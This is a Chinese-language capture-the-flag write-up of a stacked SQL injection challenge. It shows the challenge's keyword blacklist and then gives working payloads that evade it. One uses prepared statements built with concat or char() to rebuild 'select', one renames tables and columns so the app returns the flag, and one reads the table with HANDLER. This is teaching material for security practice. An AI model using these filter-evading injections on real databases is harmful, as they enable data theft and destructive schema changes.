1' and 1=1#
无报错
1’ order by 2#
测出两列字段
1' union select 1,2#
提示有过滤:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这里尝试堆叠注入是成功的,既然如此我们就可以执行多命令了!
1';show databases;
查看数据库名
1';show tables;
查看表名
1';show columns from table;
查看table表下的字段
可以发现word表下有id、data字段,而1919810931114514表下有flag(注意1919810931114514是要用反引号包裹的)
但我们猜测SQL执行语句是:select id,data from words where id = ‘$_GET[inject]‘
解法一:预处理(PREPARE 和 EXECUTE)
SET @tn = 'hahaha'; //存储表名到变量@tn中
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE hack from @sql; //预定义SQL语句
EXECUTE hack; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
利用concat('sel','ect')
或者concat(char(115,101,108,101,99,116))
连接成select
两种payload(大致思路是一样的):
1';SET @sql=concat('sel','ect * from `1919810931114514`'); PREPARE hack from @sql;EXECUTE hack;#
1';use supersqli;set @sql=concat( char(115,101,108,101,99,116),' flag from `1919810931114514`');PREPARE hack1 FROM @sql;EXECUTE hack1;#
解法二:更换表名、字段名
既然执行语句是select id,data from words where id = ‘$_GET[inject]‘
我们就将flag所在的表名和flag字段名替换成对应的words和data
修改表名:
把users表名改为qwq:rename table users to qwq;
修改字段名:
把words表下的flag字段改为data:alert table words change flag data varchar(100);
payload:
1';rename table words to qwq;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
解法三:handler 查询语句
既然select不允许使用,不妨尝试一下handler来查询
介绍一下handler的语法规则:
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
通过HANDLER tbl_name OPEN 打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,
NEXT获取下一行,PREV获取前一行,LAST获取最后一行
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
注意一下两个字母
alter: sql语法:修改
alert:js 弹出框